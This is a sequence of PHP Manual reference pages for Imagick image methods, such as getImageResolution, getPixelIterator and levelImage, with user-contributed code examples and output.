Gets the image X and Y resolution

Imagick::getImageRenderingIntent
Imagick::getImagesBlob
Imagick
PHP Manual

Imagick::getImageResolution

(PECL imagick 2.0.0)

Imagick::getImageResolution — Gets the image X and Y resolution

Description

array Imagick::getImageResolution ( void )

Gets the image X and Y resolution.

Return Values

Returns the resolution as an array.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Shawn Pyle 18-Apr-2011 12:53
As of the following versions, the results of this function returns the x and y resolution as floats.

desktop:~$ convert --version
Version: ImageMagick 6.6.9-1 2011-04-14 Q8 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2011 ImageMagick Studio LLC
Features: OpenMP OpenCL

desktop:~$ pecl list
Installed packages, channel pecl.php.net:
==========================
Package Version State
imagick 3.0.1   stable

desktop:~$ php --version
PHP 5.3.5 (cli) (built: Mar  1 2011 12:57:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    with Xdebug v2.1.0, Copyright (c) 2002-2010, by Derick Rethans
perching_eagle at yahoo dot com 04-Oct-2007 06:14
//location of image: c:/htdocs/rose.jpg
$path="c:/htdocs/";
$image=new Imagick($path."rose.jpg");
$array=$image->getImageResolution();
print_r($array);

result:
Array
(
    [x]=>75
    [y]=>75
)
Imagick::getImageRenderingIntent
Imagick::getImagesBlob
Imagick


Returns all image sequences as a blob

Imagick::getImageResolution
Imagick::getImageScene
Imagick
PHP Manual

Imagick::getImagesBlob

(PECL imagick 2.0.0)

Imagick::getImagesBlob — Returns all image sequences as a blob

Description

string Imagick::getImagesBlob ( void )

Implements direct to memory image formats. It returns all image sequences as a string. The format of the image determines the format of the returned blob (GIF, JPEG, PNG, etc.). To return a different image format, use Imagick::setImageFormat().

Return Values

Returns a string containing the images. On failure, throws ImagickException.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageResolution
Imagick::getImageScene
Imagick


Gets the image scene

Imagick::getImagesBlob
Imagick::getImageSignature
Imagick
PHP Manual

Imagick::getImageScene

(PECL imagick 2.0.0)

Imagick::getImageScene — Gets the image scene

Description

int Imagick::getImageScene ( void )

Gets the image scene.

Return Values

Returns the image scene.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImagesBlob
Imagick::getImageSignature
Imagick


Generates an SHA-256 message digest

Imagick::getImageScene
Imagick::getImageSize
Imagick
PHP Manual

Imagick::getImageSignature

(PECL imagick 2.0.0)

Imagick::getImageSignature — Generates an SHA-256 message digest

Description

string Imagick::getImageSignature ( void )

Generates an SHA-256 message digest for the image pixel stream.

Return Values

Returns a string containing the SHA-256 hash of the file.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageScene
Imagick::getImageSize
Imagick


Returns the image length in bytes

Imagick::getImageSignature
Imagick::getImageTicksPerSecond
Imagick
PHP Manual

Imagick::getImageSize

(PECL imagick 2.0.0)

Imagick::getImageSize — Returns the image length in bytes

Description

int Imagick::getImageSize ( void )

Returns the image length in bytes

Return Values

Returns an int containing the current image size.

User Contributed Notes

murphy(at)murphyslantech(dot)de 30-Nov-2010 07:21
If you get an error or warning (when using strict settings for PHP), telling you, that this function should not be used anymore try getImageLength() instead ...
Ricardo Cordts Monteiro 12-Feb-2010 04:11
Practical use to get the dimensions of the image:

<?php
$image = new Imagick($image_src);
$d = $image->getImageGeometry();
$w = $d['width'];
$h = $d['height'];
?>
nikolaus 17-Oct-2009 12:52
If you're planning to stream imagick images via http, pay attention that this function may return the uncompressed image size, so it's not directly suitable for setting the content-length http header.
benford at bluhelix dot com 22-Jun-2009 03:12
Try Imagick::getSize, Imagick::getImageWidth, or Imagick::getImageHeight if you are looking to get dimensions in pixels (rows, columns) of the current image.
perching_eagle at yahoo dot com 04-Oct-2007 06:37
/* get the size of the image in bytes */
$image=new Imagick("c:/htdocs/rose.jpg");
$size=$image->getImageSize();
print "the size of the picture is ".$size." bytes";

result

the size of the picture is 3461 bytes
Imagick::getImageSignature
Imagick::getImageTicksPerSecond
Imagick


Gets the image ticks-per-second

Imagick::getImageSize
Imagick::getImageTotalInkDensity
Imagick
PHP Manual

Imagick::getImageTicksPerSecond

(PECL imagick 2.0.0)

Imagick::getImageTicksPerSecond — Gets the image ticks-per-second

Description

int Imagick::getImageTicksPerSecond ( void )

Gets the image ticks-per-second.

Return Values

Returns the image ticks-per-second.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageSize
Imagick::getImageTotalInkDensity
Imagick


Gets the image total ink density

Imagick::getImageTicksPerSecond
Imagick::getImageType
Imagick
PHP Manual

Imagick::getImageTotalInkDensity

(PECL imagick 2.0.0)

Imagick::getImageTotalInkDensity — Gets the image total ink density

Description

float Imagick::getImageTotalInkDensity ( void )

Gets the image total ink density.

Return Values

Returns the image total ink density of the image. Throw an ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageTicksPerSecond
Imagick::getImageType
Imagick


Gets the potential image type

Imagick::getImageTotalInkDensity
Imagick::getImageUnits
Imagick
PHP Manual

Imagick::getImageType

(PECL imagick 0.9.10-0.9.9)

Imagick::getImageType — Gets the potential image type

Description

int Imagick::getImageType ( void )

Gets the potential image type.

Return Values

Returns the potential image type.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

lukeydeluxe at gmail dot com 15-Jan-2009 04:13
Remember, the result, if successful, is an Array, wich means you should call for example "$var[format]" if you want to know what format the file uses.
Imagick::getImageTotalInkDensity
Imagick::getImageUnits
Imagick


Gets the image units of resolution

Imagick::getImageType
Imagick::getImageVirtualPixelMethod
Imagick
PHP Manual

Imagick::getImageUnits

(PECL imagick 2.0.0)

Imagick::getImageUnits — Gets the image units of resolution

Description

int Imagick::getImageUnits ( void )

Gets the image units of resolution.

Return Values

Returns the image units of resolution.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageType
Imagick::getImageVirtualPixelMethod
Imagick


Returns the virtual pixel method

Imagick::getImageUnits
Imagick::getImageWhitePoint
Imagick
PHP Manual

Imagick::getImageVirtualPixelMethod

(PECL imagick 2.0.0)

Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method

Description

int Imagick::getImageVirtualPixelMethod ( void )

Returns the virtual pixel method for the specified image.

Return Values

Returns the virtual pixel method on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageUnits
Imagick::getImageWhitePoint
Imagick


Returns the chromaticity white point

Imagick::getImageVirtualPixelMethod
Imagick::getImageWidth
Imagick
PHP Manual

Imagick::getImageWhitePoint

(PECL imagick 2.0.0)

Imagick::getImageWhitePoint — Returns the chromaticity white point

Description

array Imagick::getImageWhitePoint ( void )

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Return Values

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageVirtualPixelMethod
Imagick::getImageWidth
Imagick


Returns the image width

Imagick::getImageWhitePoint
Imagick::getInterlaceScheme
Imagick
PHP Manual

Imagick::getImageWidth

(PECL imagick 2.0.0)

Imagick::getImageWidth — Returns the image width

Description

int Imagick::getImageWidth ( void )

Returns the image width.

Return Values

Returns the image width.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageWhitePoint
Imagick::getInterlaceScheme
Imagick


Gets the object interlace scheme

Imagick::getImageWidth
Imagick::getIteratorIndex
Imagick
PHP Manual

Imagick::getInterlaceScheme

(PECL imagick 2.0.0)

Imagick::getInterlaceScheme — Gets the object interlace scheme

Description

int Imagick::getInterlaceScheme ( void )

Gets the object interlace scheme.

Return Values

Gets the wand interlace scheme.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getImageWidth
Imagick::getIteratorIndex
Imagick


Gets the index of the current active image

Imagick::getInterlaceScheme
Imagick::getNumberImages
Imagick
PHP Manual

Imagick::getIteratorIndex

(PECL imagick 2.0.0)

Imagick::getIteratorIndex — Gets the index of the current active image

Description

int Imagick::getIteratorIndex ( void )

Returns the index of the current active image within the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns an integer containing the index of the image in the stack.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::getIteratorIndex():

Create images, set and get the iterator index

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

See Also

  • Imagick::setIteratorIndex() - Set the iterator position
  • Imagick::getImageIndex() - Gets the index of the current active image
  • Imagick::setImageIndex() - Set the iterator position

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getInterlaceScheme
Imagick::getNumberImages
Imagick


Returns the number of images in the object

Imagick::getIteratorIndex
Imagick::getOption
Imagick
PHP Manual

Imagick::getNumberImages

(PECL imagick 2.0.0)

Imagick::getNumberImages — Returns the number of images in the object

Description

int Imagick::getNumberImages ( void )

Returns the number of images associated with Imagick object.

Return Values

Returns the number of images associated with Imagick object.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

gzabriskie at yahoo dot com 07-Apr-2009 05:21
<?php
/* Create the object */
$image = new Imagick('YourImageLocation.tif');
$count = $image->getNumberImages();

echo "<h3 style=\"font: bold 12pt Arial\">Total Number of Images Extracted ".
     "from the TIF : ".$image->getNumberImages()."</h3>";

for ($x = 1;$x <= $image->getNumberImages(); $x++) {
  $image->previousImage();
  $image->thumbnailImage( 400, null );
  $image->writeImage('img'.$count.'.png');
  $count--;
}
?>

<html>
  <head>
    <title>Extracting Images Form TIFF</title>
  </head>
  <body>
    <table cellspacing="10" style="background: #ddd"><tr>
      <?php
      for ($x = 1;$x <= $image->getNumberImages(); $x++) {
        echo "<td><img src=\"img$x.png\"<br /><p style=\"font: bold 12pt Arial;".
             "text-align: center\">image $x (png)</p></td>";
      }
      ?>
    </tr></table>
  </body>
</html>
Imagick::getIteratorIndex
Imagick::getOption
Imagick


Returns a value associated with the specified key

Imagick::getNumberImages
Imagick::getPackageName
Imagick
PHP Manual

Imagick::getOption

(PECL imagick 2.0.0)

Imagick::getOption — Returns a value associated with the specified key

Description

string Imagick::getOption ( string $key )

Returns a value associated within the object for the specified key.

Parameters

key

The name of the option

Return Values

Returns a value associated with a wand and the specified key.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getNumberImages
Imagick::getPackageName
Imagick


Returns the ImageMagick package name

Imagick::getOption
Imagick::getPage
Imagick
PHP Manual

Imagick::getPackageName

(PECL imagick 2.0.0)

Imagick::getPackageName — Returns the ImageMagick package name

Description

string Imagick::getPackageName ( void )

Returns the ImageMagick package name.

Return Values

Returns the ImageMagick package name as a string.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getOption
Imagick::getPage
Imagick


Returns the page geometry

Imagick::getPackageName
Imagick::getPixelIterator
Imagick
PHP Manual

Imagick::getPage

(PECL imagick 2.0.0)

Imagick::getPage — Returns the page geometry

Description

array Imagick::getPage ( void )

Returns the page geometry associated with the Imagick object in an associative array with the keys "width", "height", "x", and "y".

Return Values

Returns the page geometry associated with the Imagick object in an associative array with the keys "width", "height", "x", and "y", throwing ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getPackageName
Imagick::getPixelIterator
Imagick


Returns a MagickPixelIterator

Imagick::getPage
Imagick::getPixelRegionIterator
Imagick
PHP Manual

Imagick::getPixelIterator

(PECL imagick 2.0.0)

Imagick::getPixelIterator — Returns a MagickPixelIterator

Description

ImagickPixelIterator Imagick::getPixelIterator ( void )

Returns a MagickPixelIterator.

Return Values

Returns an ImagickPixelIterator on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Sebastian Herold 30-Jun-2008 01:06
For me it was very helpful to read a article at Mikko's blog. He showed that the PixelIterator is not read-only, if you sync it regularly:

<?php
      /* Create new object with the image */
      $im = new Imagick( "strawberry.png" );

      /* Get iterator */
      $it = $im->getPixelIterator();

      /* Loop trough pixel rows */
      foreach( $it as $row => $pixels )
      {
          /* For every second row */
          if ( $row % 2 )
          {
              /* Loop trough the pixels in the row (columns) */
              foreach ( $pixels as $column => $pixel )
              {
                      /* Paint every second pixel black*/
                      if ( $column % 2 )
                      {
                              $pixel->setColor( "black" );
                      }
              }

          }

          /* Sync the iterator, this is important to do on each iteration */
          $it->syncIterator();
      }

      /* Display the image */
      header( "Content-Type: image/png" );
      echo $im;

?>
Imagick::getPage
Imagick::getPixelRegionIterator
Imagick


Get an ImagickPixelIterator for an image section

Imagick::getPixelIterator
Imagick::getPointSize
Imagick
PHP Manual

Imagick::getPixelRegionIterator

(PECL imagick 2.0.0)

Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section

Description

ImagickPixelIterator Imagick::getPixelRegionIterator ( int $x , int $y , int $columns , int $rows )

Get an ImagickPixelIterator for an image section.

Parameters

x

The x-coordinate of the region.

y

The y-coordinate of the region.

columns

The width of the region.

rows

The height of the region.

Return Values

Returns an ImagickPixelIterator for an image section.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getPixelIterator
Imagick::getPointSize
Imagick


Gets point size

Imagick::getPixelRegionIterator
Imagick::getQuantumDepth
Imagick
PHP Manual

Imagick::getPointSize

(No version information available, might only be in SVN)

Imagick::getPointSize — Gets point size

Description

float Imagick::getPointSize ( void )

Returns the objects point size property. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Return Values

Returns a float containing the point size.

See Also

  • Imagick::setPointSize() - Sets point size

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getPixelRegionIterator
Imagick::getQuantumDepth
Imagick


Gets the quantum depth

Imagick::getPointSize
Imagick::getQuantumRange
Imagick
PHP Manual

Imagick::getQuantumDepth

(PECL imagick 2.0.0)

Imagick::getQuantumDepth — Gets the quantum depth

Description

array Imagick::getQuantumDepth ( void )

Returns the Imagick quantum depth as a string.

Return Values

Returns the Imagick quantum depth as a string.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getPointSize
Imagick::getQuantumRange
Imagick


Returns the Imagick quantum range

Imagick::getQuantumDepth
Imagick::getReleaseDate
Imagick
PHP Manual

Imagick::getQuantumRange

(PECL imagick 2.0.0)

Imagick::getQuantumRange — Returns the Imagick quantum range

Description

array Imagick::getQuantumRange ( void )

Returns the Imagick quantum range as a string.

Return Values

Returns the Imagick quantum range as a string.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getQuantumDepth
Imagick::getReleaseDate
Imagick


Returns the ImageMagick release date

Imagick::getQuantumRange
Imagick::getResource
Imagick
PHP Manual

Imagick::getReleaseDate

(PECL imagick 2.0.0)

Imagick::getReleaseDate — Returns the ImageMagick release date

Description

string Imagick::getReleaseDate ( void )

Returns the ImageMagick release date as a string.

Return Values

Returns the ImageMagick release date as a string.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getQuantumRange
Imagick::getResource
Imagick


Returns the specified resource's memory usage

Imagick::getReleaseDate
Imagick::getResourceLimit
Imagick
PHP Manual

Imagick::getResource

(PECL imagick 2.0.0)

Imagick::getResource — Returns the specified resource's memory usage

Description

int Imagick::getResource ( int $type )

Returns the specified resource's memory usage in megabytes.

Parameters

type

Refer to the list of resourcetype constants.

Return Values

Returns the specified resource's memory usage in megabytes.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getReleaseDate
Imagick::getResourceLimit
Imagick


Returns the specified resource limit

Imagick::getResource
Imagick::getSamplingFactors
Imagick
PHP Manual

Imagick::getResourceLimit

(PECL imagick 2.0.0)

Imagick::getResourceLimit — Returns the specified resource limit

Description

int Imagick::getResourceLimit ( int $type )

Returns the specified resource limit in megabytes.

Parameters

type

Refer to the list of resourcetype constants.

Return Values

Returns the specified resource limit in megabytes.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getResource
Imagick::getSamplingFactors
Imagick


Gets the horizontal and vertical sampling factor

Imagick::getResourceLimit
Imagick::getSize
Imagick
PHP Manual

Imagick::getSamplingFactors

(PECL imagick 2.0.0)

Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor

Description

array Imagick::getSamplingFactors ( void )

Gets the horizontal and vertical sampling factor.

Return Values

Returns an associative array with the horizontal and vertical sampling factors of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getResourceLimit
Imagick::getSize
Imagick


Returns the size associated with the Imagick object

Imagick::getSamplingFactors
Imagick::getSizeOffset
Imagick
PHP Manual

Imagick::getSize

(PECL imagick 2.0.0)

Imagick::getSize — Returns the size associated with the Imagick object

Description

array Imagick::getSize ( void )

Returns the size associated with the Imagick object as an array with the keys "columns" and "rows".

Return Values

Returns the size associated with the Imagick object as an array with the keys "columns" and "rows".

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getSamplingFactors
Imagick::getSizeOffset
Imagick


Returns the size offset

Imagick::getSize
Imagick::getVersion
Imagick
PHP Manual

Imagick::getSizeOffset

(PECL imagick 2.0.0)

Imagick::getSizeOffset — Returns the size offset

Description

int Imagick::getSizeOffset ( void )

Returns the size offset associated with the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns the size offset associated with the Imagick object.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getSize
Imagick::getVersion
Imagick


Returns the ImageMagick API version

Imagick::getSizeOffset
Imagick::haldClutImage
Imagick
PHP Manual

Imagick::getVersion

(PECL imagick 2.0.0)

Imagick::getVersion — Returns the ImageMagick API version

Description

array Imagick::getVersion ( void )

Returns the ImageMagick API version as a string and as a number.

Return Values

Returns the ImageMagick API version as a string and as a number.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

mwu at digitaltorque dot com 22-Feb-2011 11:40
Since it's not clear from the documention what this function returns:

print_r(imagick::getVersion());

Array
(
    [versionNumber] => 1632
    [versionString] => ImageMagick 6.6.0-4 2010-11-16 Q16 http://www.imagemagick.org
)
Imagick::getSizeOffset
Imagick::haldClutImage
Imagick


Replaces colors in the image

Imagick::getVersion
Imagick::hasNextImage
Imagick
PHP Manual

Imagick::haldClutImage

(No version information available, might only be in SVN)

Imagick::haldClutImage — Replaces colors in the image

Description

public bool Imagick::haldClutImage ( Imagick $clut [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Replaces colors in the image using a Hald lookup table. Hald images can be created using HALD color coder.

Parameters

clut

Imagick object containing the Hald lookup image.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::getVersion
Imagick::hasNextImage
Imagick


Checks if the object has more images

Imagick::haldClutImage
Imagick::hasPreviousImage
Imagick
PHP Manual

Imagick::hasNextImage

(PECL imagick 2.0.0)

Imagick::hasNextImage — Checks if the object has more images

Description

bool Imagick::hasNextImage ( void )

Returns TRUE if the object has more images when traversing the list in the forward direction.

Return Values

Returns TRUE if the object has more images when traversing the list in the forward direction, returns FALSE if there are none.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::haldClutImage
Imagick::hasPreviousImage
Imagick


Checks if the object has a previous image

Imagick::hasNextImage
Imagick::identifyImage
Imagick
PHP Manual

Imagick::hasPreviousImage

(PECL imagick 2.0.0)

Imagick::hasPreviousImage — Checks if the object has a previous image

Description

bool Imagick::hasPreviousImage ( void )

Returns TRUE if the object has more images when traversing the list in the reverse direction

Return Values

Returns TRUE if the object has more images when traversing the list in the reverse direction, returns FALSE if there are none.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::hasNextImage
Imagick::identifyImage
Imagick


Identifies an image and fetches attributes

Imagick::hasPreviousImage
Imagick::implodeImage
Imagick
PHP Manual

Imagick::identifyImage

(PECL imagick 2.0.0)

Imagick::identifyImage — Identifies an image and fetches attributes

Description

array Imagick::identifyImage ([ bool $appendRawOutput = false ] )

Identifies an image and returns the attributes. Attributes include the image width, height, size, and others.

Parameters

appendRawOutput

Return Values

Identifies an image and returns the attributes. Attributes include the image width, height, size, and others.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

php at ontheroad dot net dot nz 22-Nov-2010 08:04
If you use the option to append the raw output, you can extract the mime type from there.  I'm not sure what's going on in the background here, but it seems far less useful than the command line identify tool.
rob at OhReally dot nl 04-Jun-2008 06:49
The array returned by Imagick::identifyImage():

Array
(
    [imageName] => /some/path/image.jpg
    [format] => JPEG (Joint Photographic Experts Group JFIF format)
    [geometry] => Array
        (
            [width] => 90
            [height] => 90
        )

    [type] => TrueColor
    [colorSpace] => RGB
    [resolution] => Array
        (
            [x] => 300
            [y] => 300
        )

    [units] => PixelsPerInch
    [fileSize] => 1.88672kb
    [compression] => JPEG
    [signature] => 9a6dc8f604f97d0d691c0286176ddf992e188f0bebba98494b2146ee2d7118da
)

Looks like the only way to get the mimetype is getimagesize()...
Imagick::hasPreviousImage
Imagick::implodeImage
Imagick


Creates a new image as a copy

Imagick::identifyImage
Imagick::importImagePixels
Imagick
PHP Manual

Imagick::implodeImage

(PECL imagick 2.0.0)

Imagick::implodeImage — Creates a new image as a copy

Description

bool Imagick::implodeImage ( float $radius )

Creates a new image that is a copy of an existing one with the image pixels "imploded" by the specified percentage.

Parameters

radius

The radius of the implode

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::identifyImage
Imagick::importImagePixels
Imagick


Imports image pixels

Imagick::implodeImage
Imagick::labelImage
Imagick
PHP Manual

Imagick::importImagePixels

(No version information available, might only be in SVN)

Imagick::importImagePixels — Imports image pixels

Description

public bool Imagick::importImagePixels ( int $x , int $y , int $width , int $height , string $map , int $storage , array $pixels )

Imports pixels from an array into an image. The map is usually 'RGB'. This method imposes the following constraints for the parameters: amount of pixels in the array must match width x height x length of the map. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

x

The image x position

y

The image y position

width

The image width

height

The image height

map

Map of pixel ordering as a string. This can be for example RGB. The value can be any combination or order of R = red, G = green, B = blue, A = alpha (0 is transparent), O = opacity (0 is opaque), C = cyan, Y = yellow, M = magenta, K = black, I = intensity (for grayscale), P = pad.

storage

The pixel storage method. Refer to this list of pixel constants.

pixels

The array of pixels

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Imagick::importImagePixels() example

<?php

/* Generate array of pixels. 2000 pixels per color stripe */
$count = 2000 * 3;

$pixels =
   array_merge(array_pad(array(), $count, 0),
               array_pad(array(), $count, 255),
               array_pad(array(), $count, 0),
               array_pad(array(), $count, 255),
               array_pad(array(), $count, 0));

/* Width and height. The area is amount of pixels divided
   by three. Three comes from 'RGB', three values per pixel */
$width = $height = pow((count($pixels) / 3), 0.5);

/* Create empty image */
$im = new Imagick();
$im->newImage($width, $height, 'gray');

/* Import the pixels into image.
   width * height * strlen("RGB") must match count($pixels) */
$im->importImagePixels(0, 0, $width, $height, "RGB", Imagick::PIXEL_CHAR, $pixels);

/* output as jpeg image */
$im->setImageFormat('jpg');
header("Content-Type: image/jpg");
echo $im;

?>

The above example will output something similar to:

Output of example : Imagick::importImagePixels()

User Contributed Notes

There are no user contributed notes for this page.
Imagick::implodeImage
Imagick::labelImage
Imagick


Adds a label to an image

Imagick::importImagePixels
Imagick::levelImage
Imagick
PHP Manual

Imagick::labelImage

(PECL imagick 2.0.0)

Imagick::labelImage — Adds a label to an image

Description

bool Imagick::labelImage ( string $label )

Adds a label to an image.

Parameters

label

The label to add

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::importImagePixels
Imagick::levelImage
Imagick


Adjusts the levels of an image

Imagick::labelImage
Imagick::linearStretchImage
Imagick
PHP Manual

Imagick::levelImage

(PECL imagick 2.0.0)

Imagick::levelImage — Adjusts the levels of an image

Description

bool Imagick::levelImage ( float $blackPoint , float $gamma , float $whitePoint [, int $channel = Imagick::CHANNEL_ALL ] )

Adjusts the levels of an image by scaling the colors falling between specified white and black points to the full available quantum range. The parameters provided represent the black, mid, and white points. The black point specifies the darkest color in the image. Colors darker than the black point are set to zero. Mid point specifies a gamma correction to apply to the image. White point specifies the lightest color in the image. Colors brighter than the white point are set to the maximum quantum value.

Parameters

blackPoint

The image black point

gamma

The gamma value

whitePoint

The image white point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Maxim Lovchikov 28-Dec-2010 12:18
I have a trouble with this method because think that quantum range is 0 - 255.
But quantum range for levelImage is 0-65535. You can get quantum range with Imagick::getQuantumRange
There is a right piece of code

$img->levelImage (0, 1.0, 65535);
Imagick::labelImage
Imagick::linearStretchImage
Imagick


Stretches with saturation the image intensity

Imagick::levelImage
Imagick::liquidRescaleImage
Imagick
PHP Manual

Imagick::linearStretchImage

(PECL imagick 2.0.0)

Imagick::linearStretchImage — Stretches with saturation the image intensity

Description

bool Imagick::linearStretchImage ( float $blackPoint , float $whitePoint )

Stretches with saturation the image intensity.

Parameters

blackPoint

The image black point

whitePoint

The image white point

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::levelImage
Imagick::liquidRescaleImage
Imagick


Animates an image or images

Imagick::linearStretchImage
Imagick::magnifyImage
Imagick
PHP Manual

Imagick::liquidRescaleImage

(No version information available, might only be in SVN)

Imagick::liquidRescaleImage — Animates an image or images

Description

bool Imagick::liquidRescaleImage ( int $width , int $height , float $delta_x , float $rigidity )

This method scales the images using liquid rescaling method. This method is an implementation of a technique called seam carving. In order for this method to work as expected ImageMagick must be compiled with liblqr support. This method is available if Imagick has been compiled against ImageMagick version 6.3.9 or newer.

Parameters

width

The width of the target size

height

The height of the target size

delta_x

How much the seam can traverse on x-axis. Passing 0 causes the seams to be straight.

rigidity

Introduces a bias for non-straight seams. This parameter is typically 0.

Return Values

Returns TRUE on success.

See Also

  • Imagick::resizeImage() - Scales an image

User Contributed Notes

spider at man dot net 20-Nov-2011 11:00
<?php

    /* Create new object */
    $im = new Imagick( 'test.jpg' );

    /* Scale down */
    $im->liquidRescaleImage( 500, 200, 3, 25 );

    /* Display */
    header( 'Content-Type: image/jpg' );
    echo $im;

    ?>
Imagick::linearStretchImage
Imagick::magnifyImage
Imagick


Scales an image proportionally 2x

Imagick::liquidRescaleImage
Imagick::mapImage
Imagick
PHP Manual

Imagick::magnifyImage

(PECL imagick 2.0.0)

Imagick::magnifyImage — Scales an image proportionally 2x

Description

bool Imagick::magnifyImage ( void )

Is a convenience method that scales an image proportionally to twice its original size.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::liquidRescaleImage
Imagick::mapImage
Imagick


Replaces the colors of an image with the closest color from a reference image.

Imagick::magnifyImage
Imagick::matteFloodfillImage
Imagick
PHP Manual

Imagick::mapImage

(PECL imagick 2.0.0)

Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image.

Description

bool Imagick::mapImage ( Imagick $map , bool $dither )

Parameters

map

dither

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::magnifyImage
Imagick::matteFloodfillImage
Imagick


Changes the transparency value of a color

Imagick::mapImage
Imagick::medianFilterImage
Imagick
PHP Manual

Imagick::matteFloodfillImage

(PECL imagick 2.0.0)

Imagick::matteFloodfillImage — Changes the transparency value of a color

Description

bool Imagick::matteFloodfillImage ( float $alpha , float $fuzz , mixed $bordercolor , int $x , int $y )

Changes the transparency value of any pixel that matches target and is an immediate neighbor. If the method FillToBorderMethod is specified, the transparency value is changed for any neighbor pixel that does not match the bordercolor member of image.

Parameters

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same.

bordercolor

An ImagickPixel object or string representing the border color.

x

The starting x coordinate of the operation.

y

The starting y coordinate of the operation.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the third parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::mapImage
Imagick::medianFilterImage
Imagick


Applies a digital filter

Imagick::matteFloodfillImage
Imagick::mergeImageLayers
Imagick
PHP Manual

Imagick::medianFilterImage

(PECL imagick 2.0.0)

Imagick::medianFilterImage — Applies a digital filter

Description

bool Imagick::medianFilterImage ( float $radius )

Applies a digital filter that improves the quality of a noisy image. Each pixel is replaced by the median in a set of neighboring pixels as defined by radius.

Parameters

radius

The radius of the pixel neighborhood.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::matteFloodfillImage
Imagick::mergeImageLayers
Imagick


Merges image layers

